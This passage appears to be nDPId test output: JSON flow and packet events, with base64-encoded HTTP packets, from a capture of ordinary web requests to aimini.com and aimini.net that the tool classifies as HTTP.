xnH3YZbaFfK2jlcbOP7vBgGpqR2vUbvrgxdb7WoluYV20\/JGp4RVvpfy9jPJnyVa\/G\/bSN+8K3Lc="} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":1,"flow_first_seen":1614860229385,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28502,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":2,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":385965,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"5kBKB+riApXG95NLCABFAAAwBP8AAIAGAAAKZQACCmYAAm9WAFCbu7tlAAAAAHACgAEU8QAAAgQFtAMDAQA="} +00423{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386298,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95WRWgXZu6TVCABFAAAwBP8AAH8GIfsKZQACCmYAAm9WAFCbu7tlAAAAAHACgAEoiAAAAgQFtAMDAQA="} +00423{"flow_id":2,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386303,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"WgXZu6TVApXG95WRCABFAAAwBQ0AAIAGAAAKZgACCmUAAgBQb1abu8Cxm7u7ZnASgAEU8QAAAgQFtAMDAQA="} +00423{"flow_id":2,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386479,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95NL5kBKB+riCABFAAAwBQ0AAH8GIe0KZgACCmUAAgBQb1abu8Cxm7u7ZnASgAHMCQAAAgQFtAMDAQA="} +00419{"flow_id":2,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386481,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"5kBKB+riApXG95NLCABFAAAoBQAAAIAGAAAKZQACCmYAAm9WAFCbu7tmm7vAslAQgAEU6QAAAAAAAAAA"} +01114{"flow_id":2,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386487,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"5kBKB+riApXG95NLCABFAAI0BQEAAIAGAAAKZQACCmYAAm9WAFCbu7tmm7vAslAYgAEW9QAAR0VUIC93ZWJjb3VudGVyL3cucGhwP19fX2htPS5uZXRfU2lnblVwXyZfbGhfPWh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLyZfX1JlZmVyXz1odHRwOi8vd3d3LmFpbWluaS5uZXQvIEhUVFAvMS4xDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3MA0KSG9zdDogd3d3LmFpbWluaS5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVM7IHJ2OjEuOS4yLjE3KSBHZWNrby8yMDExMDQyMCBGaXJlZm94LzMuNi4xNw0KQWNjZXB0OiBpbWFnZS9wbmcsaW1hZ2UvKjtxPTAuOCwqLyo7cT0wLjUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpLZWVwLUFsaXZlOiAxMTUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLw0KDQo="} +00831{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":42,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":2,"flow_packet_id":6,"flow_first_seen":1614860229385,"flow_last_seen":1614860229386,"flow_tot_l4_data_len":676,"flow_min_l4_data_len":20,"flow_max_l4_data_len":544,"flow_avg_l4_data_len":112,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28502,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"www.aimini.com","url":"www.aimini.com\/webcounter\/w.php?___hm=.net_SignUp_&_lh_=http:\/\/www.aimini.net\/member\/signup\/&__Refer_=http:\/\/www.aimini.net\/","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko\/20110420 Firefox\/3.6.17"}} +00419{"flow_id":2,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386780,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ApXG95WRWgXZu6TVCABFAAAoBQAAAH8GIgIKZQACCmYAAm9WAFCbu7tmm7vAslAQgAH3zQAAAAAAAAAA"} +01115{"flow_id":2,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386880,"pkt_caplen":578,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":578,"pkt_l4_len":544,"pkt":"ApXG95WRWgXZu6TVCABFAAI0BQEAAH8GH\/UKZQACCmYAAm9WAFCbu7tmm7vAslAYgAHChgAAR0VUIC93ZWJjb3VudGVyL3cucGhwP19fX2htPS5uZXRfU2lnblVwXyZfbGhfPWh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLyZfX1JlZmVyXz1odHRwOi8vd3d3LmFpbWluaS5uZXQvIEhUVFAvMS4xDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3MA0KSG9zdDogd3d3LmFpbWluaS5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVM7IHJ2OjEuOS4yLjE3KSBHZWNrby8yMDExMDQyMCBGaXJlZm94LzMuNi4xNw0KQWNjZXB0OiBpbWFnZS9wbmcsaW1hZ2UvKjtxPTAuOCwqLyo7cT0wLjUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpLZWVwLUFsaXZlOiAxMTUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLw0KDQo="} +00794{"flow_id":2,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":386894,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"WgXZu6TVApXG95WRCABFAAFFBQ4AAIAGAAAKZgACCmUAAgBQb1abu8Cym7u9clAYgAEWBgAASFRUUC8xLjEgMjAwIE9LDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3MA0KRGF0ZTogV2VkLCAwOCBKdW4gMjAxMSAwNjo1ODoyNyBHTVQNClNlcnZlcjogQXBhY2hlDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KS2VlcC1BbGl2ZTogdGltZW91dD0yLCBtYXg9MTAwMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04DQoNCh+LCAAAAAAAAP8DAAAAAAAAAAAA"} +00795{"flow_id":2,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":387299,"pkt_caplen":339,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":339,"pkt_l4_len":305,"pkt":"ApXG95NL5kBKB+riCABFAAFFBQ4AAH8GINcKZgACCmUAAgBQb1abu8Cym7u9clAYgAHljAAASFRUUC8xLjEgMjAwIE9LDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3MA0KRGF0ZTogV2VkLCAwOCBKdW4gMjAxMSAwNjo1ODoyNyBHTVQNClNlcnZlcjogQXBhY2hlDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtTGVuZ3RoOiAyMA0KS2VlcC1BbGl2ZTogdGltZW91dD0yLCBtYXg9MTAwMDANCkNvbm5lY3Rpb246IEtlZXAtQWxpdmUNCkNvbnRlbnQtVHlwZTogdGV4dC9odG1sOyBjaGFyc2V0PVVURi04DQoNCh+LCAAAAAAAAP8DAAAAAAAAAAAA"} +01124{"flow_id":2,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":87,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388259,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"5kBKB+riApXG95NLCABFAAI7BQ8AAIAGAAAKZQACCmYAAm9WAFCbu71ym7vBz1AYgAEW\/AAAR0VUIC93ZWJjb3VudGVyL3cucGhwP19fX2htPS5uZXRfU2lnblVwX1Jlc3VsdF8mX2xoXz1odHRwOi8vd3d3LmFpbWluaS5uZXQvbWVtYmVyL3NpZ251cC9yZXN1bHQvJl9fUmVmZXJfPWh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLyBIVFRQLzEuMQ0KSG9zdDogd3d3LmFpbWluaS5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVM7IHJ2OjEuOS4yLjE3KSBHZWNrby8yMDExMDQyMCBGaXJlZm94LzMuNi4xNw0KQWNjZXB0OiBpbWFnZS9wbmcsaW1hZ2UvKjtxPTAuOCwqLyo7cT0wLjUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpLZWVwLUFsaXZlOiAxMTUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwL3Jlc3VsdC8NCg0K"} +01123{"flow_id":2,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":90,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388442,"pkt_caplen":585,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":585,"pkt_l4_len":551,"pkt":"ApXG95WRWgXZu6TVCABFAAI7BQ8AAH8GH+AKZQACCmYAAm9WAFCbu71ym7vBz1AYgAFOEAAAR0VUIC93ZWJjb3VudGVyL3cucGhwP19fX2htPS5uZXRfU2lnblVwX1Jlc3VsdF8mX2xoXz1odHRwOi8vd3d3LmFpbWluaS5uZXQvbWVtYmVyL3NpZ251cC9yZXN1bHQvJl9fUmVmZXJfPWh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwLyBIVFRQLzEuMQ0KSG9zdDogd3d3LmFpbWluaS5jb20NClVzZXItQWdlbnQ6IE1vemlsbGEvNS4wIChXaW5kb3dzOyBVOyBXaW5kb3dzIE5UIDYuMTsgZW4tVVM7IHJ2OjEuOS4yLjE3KSBHZWNrby8yMDExMDQyMCBGaXJlZm94LzMuNi4xNw0KQWNjZXB0OiBpbWFnZS9wbmcsaW1hZ2UvKjtxPTAuOCwqLyo7cT0wLjUNCkFjY2VwdC1MYW5ndWFnZTogZW4tdXMsZW47cT0wLjUNCkFjY2VwdC1FbmNvZGluZzogZ3ppcCxkZWZsYXRlDQpBY2NlcHQtQ2hhcnNldDogSVNPLTg4NTktMSx1dGYtODtxPTAuNywqO3E9MC43DQpLZWVwLUFsaXZlOiAxMTUNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNClJlZmVyZXI6IGh0dHA6Ly93d3cuYWltaW5pLm5ldC9tZW1iZXIvc2lnbnVwL3Jlc3VsdC8NCg0K"} +00761{"flow_id":2,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":91,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388449,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"WgXZu6TVApXG95WRCABFAAEpBRcAAIAGAAAKZgACCmUAAgBQb1abu8HPm7u\/hVAYgAEV6gAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBXZWQsIDA4IEp1biAyMDExIDA2OjU5OjA4IEdNVA0KU2VydmVyOiBBcGFjaGUNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1MZW5ndGg6IDIwDQpLZWVwLUFsaXZlOiB0aW1lb3V0PTIsIG1heD0xMDAwMA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg0KH4sIAAAAAAAA\/wMAAAAAAAAAAAA="} +00761{"flow_id":2,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":92,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388751,"pkt_caplen":311,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":311,"pkt_l4_len":277,"pkt":"ApXG95NL5kBKB+riCABFAAEpBRcAAH8GIOoKZgACCmUAAgBQb1abu8HPm7u\/hVAYgAGTBAAASFRUUC8xLjEgMjAwIE9LDQpEYXRlOiBXZWQsIDA4IEp1biAyMDExIDA2OjU5OjA4IEdNVA0KU2VydmVyOiBBcGFjaGUNCkNvbnRlbnQtRW5jb2Rpbmc6IGd6aXANClZhcnk6IEFjY2VwdC1FbmNvZGluZw0KQ29udGVudC1MZW5ndGg6IDIwDQpLZWVwLUFsaXZlOiB0aW1lb3V0PTIsIG1heD0xMDAwMA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg0KH4sIAAAAAAAA\/wMAAAAAAAAAAAA="} +00420{"flow_id":2,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":93,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388755,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"5kBKB+riApXG95NLCABFAAAoBRAAAIAGAAAKZQACCmYAAm9WAFCbu7+Fm7vC0FAUgAEU6QAAAAAAAAAA"} +00471{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":95,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1614860229388,"flow_last_seen":0,"flow_tot_l4_data_len":28,"flow_min_l4_data_len":28,"flow_max_l4_data_len":28,"flow_avg_l4_data_len":28,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28503,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00423{"flow_id":3,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":95,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":388780,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"5kBKB+riApXG95NLCABFAAAwBREAAIAGAAAKZQACCmYAAm9XAFCbu+drAAAAAHACgAEU8QAAAgQFtAMDAQA="} +00423{"flow_id":3,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":98,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389055,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95WRWgXZu6TVCABFAAAwBREAAH8GIekKZQACCmYAAm9XAFCbu+drAAAAAHACgAH8gAAAAgQFtAMDAQA="} +00423{"flow_id":3,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":99,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389059,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"WgXZu6TVApXG95WRCABFAAAwBRkAAIAGAAAKZgACCmUAAgBQb1ebu+vKm7vnbHASgAEU8QAAAgQFtAMDAQA="} +00424{"flow_id":3,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":100,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389220,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ApXG95NL5kBKB+riCABFAAAwBRkAAH8GIeEKZgACCmUAAgBQb1ebu+vKm7vnbHASgAF06QAAAgQFtAMDAQA="} +00420{"flow_id":3,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":101,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389221,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"5kBKB+riApXG95NLCABFAAAoBRIAAIAGAAAKZQACCmYAAm9XAFCbu+dsm7vry1AQgAEU6QAAAAAAAAAA"} +01223{"flow_id":3,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":102,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389227,"pkt_caplen":658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":658,"pkt_l4_len":624,"pkt":"5kBKB+riApXG95NLCABFAAKEBRMAAIAGAAAKZQACCmYAAm9XAFCbu+dsm7vry1AYgAEXRQAAR0VUIC9zZWFyY2gvP3E9cGljdHVyZXMmc2NhPSBIVFRQLzEuMQ0KWC1NVS1TZXNzaW9uLUlEOiA4MTA0NDY0NzENCkhvc3Q6IHd3dy5haW1pbmkubmV0DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuLVVTOyBydjoxLjkuMi4xNykgR2Vja28vMjAxMTA0MjAgRmlyZWZveC8zLjYuMTcNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KS2VlcC1BbGl2ZTogMTE1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpSZWZlcmVyOiBodHRwOi8vd3d3LmFpbWluaS5uZXQvDQpDb29raWU6IEFOSUQ9Z09pSm43NXVVOG1XVGZIRUlVNDFybFVCNWVZamN5NlBHeHdOa0VCcHBkWVdaME5QeDNzY0dtTXNVY003eElwQjsgQUNQTD1BNEl2NDZSc3FGT01vcU1uTWo4dTVVS2dOd3NHMHZEdW5aYXJkb0VDbGltOUZ1RmdDTmVZdWNXQ0VKM2pucWhwDQoNCg=="} +00738{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":102,"source":"aimini-http.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":6,"flow_first_seen":1614860229388,"flow_last_seen":1614860229389,"flow_tot_l4_data_len":756,"flow_min_l4_data_len":20,"flow_max_l4_data_len":624,"flow_avg_l4_data_len":126,"midstream":0,"l3_proto":"ip4","src_ip":"10.101.0.2","dst_ip":"10.102.0.2","src_port":28503,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"www.aimini.net","url":"www.aimini.net\/search\/?q=pictures&sca=","code":0,"content_type":"","user_agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.17) Gecko\/20110420 Firefox\/3.6.17"}} +00420{"flow_id":3,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":103,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389517,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ApXG95WRWgXZu6TVCABFAAAoBRIAAH8GIfAKZQACCmYAAm9XAFCbu+dsm7vry1AQgAGgrQAAAAAAAAAA"} +01223{"flow_id":3,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":104,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389618,"pkt_caplen":658,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":658,"pkt_l4_len":624,"pkt":"ApXG95WRWgXZu6TVCABFAAKEBRMAAH8GH5MKZQACCmYAAm9XAFCbu+dsm7vry1AYgAEyxAAAR0VUIC9zZWFyY2gvP3E9cGljdHVyZXMmc2NhPSBIVFRQLzEuMQ0KWC1NVS1TZXNzaW9uLUlEOiA4MTA0NDY0NzENCkhvc3Q6IHd3dy5haW1pbmkubmV0DQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93czsgVTsgV2luZG93cyBOVCA2LjE7IGVuLVVTOyBydjoxLjkuMi4xNykgR2Vja28vMjAxMTA0MjAgRmlyZWZveC8zLjYuMTcNCkFjY2VwdDogdGV4dC9odG1sLGFwcGxpY2F0aW9uL3hodG1sK3htbCxhcHBsaWNhdGlvbi94bWw7cT0wLjksKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IGVuLXVzLGVuO3E9MC41DQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsZGVmbGF0ZQ0KQWNjZXB0LUNoYXJzZXQ6IElTTy04ODU5LTEsdXRmLTg7cT0wLjcsKjtxPTAuNw0KS2VlcC1BbGl2ZTogMTE1DQpDb25uZWN0aW9uOiBrZWVwLWFsaXZlDQpSZWZlcmVyOiBodHRwOi8vd3d3LmFpbWluaS5uZXQvDQpDb29raWU6IEFOSUQ9Z09pSm43NXVVOG1XVGZIRUlVNDFybFVCNWVZamN5NlBHeHdOa0VCcHBkWVdaME5QeDNzY0dtTXNVY003eElwQjsgQUNQTD1BNEl2NDZSc3FGT01vcU1uTWo4dTVVS2dOd3NHMHZEdW5aYXJkb0VDbGltOUZ1RmdDTmVZdWNXQ0VKM2pucWhwDQoNCg=="} +02389{"flow_id":3,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":105,"source":"aimini-http.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1614860229,"pkt_ts_usec":389630,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"WgXZu6TVApXG95WRCABFAAXcBRoAAIAGAAAKZgACCmUAAgBQb1ebu+vLm7vpyFAYgAEanQAASFRUUC8xLjEgMjAwIE9LDQpYLU1VLVNlc3Npb24tSUQ6IDgxMDQ0NjQ3MQ0KRGF0ZTogV2VkLCAwOCBKdW4gMjAxMSAwOToyMzozMyBHTVQNClNlcnZlcjogQXBhY2hlDQpDb250ZW50LUVuY29kaW5nOiBnemlwDQpWYXJ5OiBBY2NlcHQtRW5jb2RpbmcNCkNvbnRlbnQtTGVuZ3RoOiA1OTEzDQpLZWVwLUFsaXZlOiB0aW1lb3V0PTQsIG1heD0xMDAwMA0KQ29ubmVjdGlvbjogS2VlcC1BbGl2ZQ0KQ29udGVudC1UeXBlOiB0ZXh0L2h0bWw7IGNoYXJzZXQ9VVRGLTgNCg0KH4sIAAAAAAAA\/+1d+XLbOJP\/P1V5BwxTY8UTiyIpy7oiTck6nEziI7GTzMy3X7lAEpJo85B5SFays7W1b7Gvt0+yDYCkKImi5LHGmXHZSiyAABqNRqP71yBNvB76ltl8\/uz1kGCdfvuGb5LmyND8wCXeHuq5hKCOM7FNB+uvC7wY6lnEx2jo+6M8uQmMcUNoO7ZPbD9\/MR0RAWk81xB8cusXaCd1bYhdj\/iNwO\/nKwIqxFRsbJGG8I5MJ46re4m2x4FnaHvos6ETB1g5gnrwdXxWBLbef+a87cXM7aEzE0+XCXeIp7nGyDccO0E7aoWwraMRNER9x0V9RjEYsZKpE7gIqqHR0PEpA+OQEYvyxRoOKEtiss+kSM5cPLBwolPbyWtYG5JVDbq3IwOknmghLY\/no6M6frIONk1aC0E107CvkUvMhnA+dFxfC3z0VqPjHrqk3xBoX7VCwbAGIjYswzZEm\/iQxQPiFfp4bEBdEX4JyIdZbAispHCbNxgNxsish0PHubawe70t4pR\/z5+CeolA6tvh6cdO92P+49ujNxe1F91uT+4pSB7dIs8xDb0eFl+cntVe9NjPcuH7bi+j6eHpxcXpce1Fp9ypdufKW+13Rx9PP510ItJ\/PH8GPKl34alb7lbTCrfBU5d+GE+et8DTKlFsIKdVpRFPLeVQOaysl5O6yFOn1JW6rT\/Hk9Qr9koZcloinc7T+C5i6h72lF7nz4ppuXUaS5Qp99K\/XtTzTMY67GclY2X6yZDVUusEY0yluKwoW4uqvor2JlO4hq3l1kl5scacLd3xv2mO6biRjOsq+Avi5pnRqEGxT\/To2sTQ\/WENiHJZqzZYlD4YzLxnfCU1uTS6rbNsH1uGOa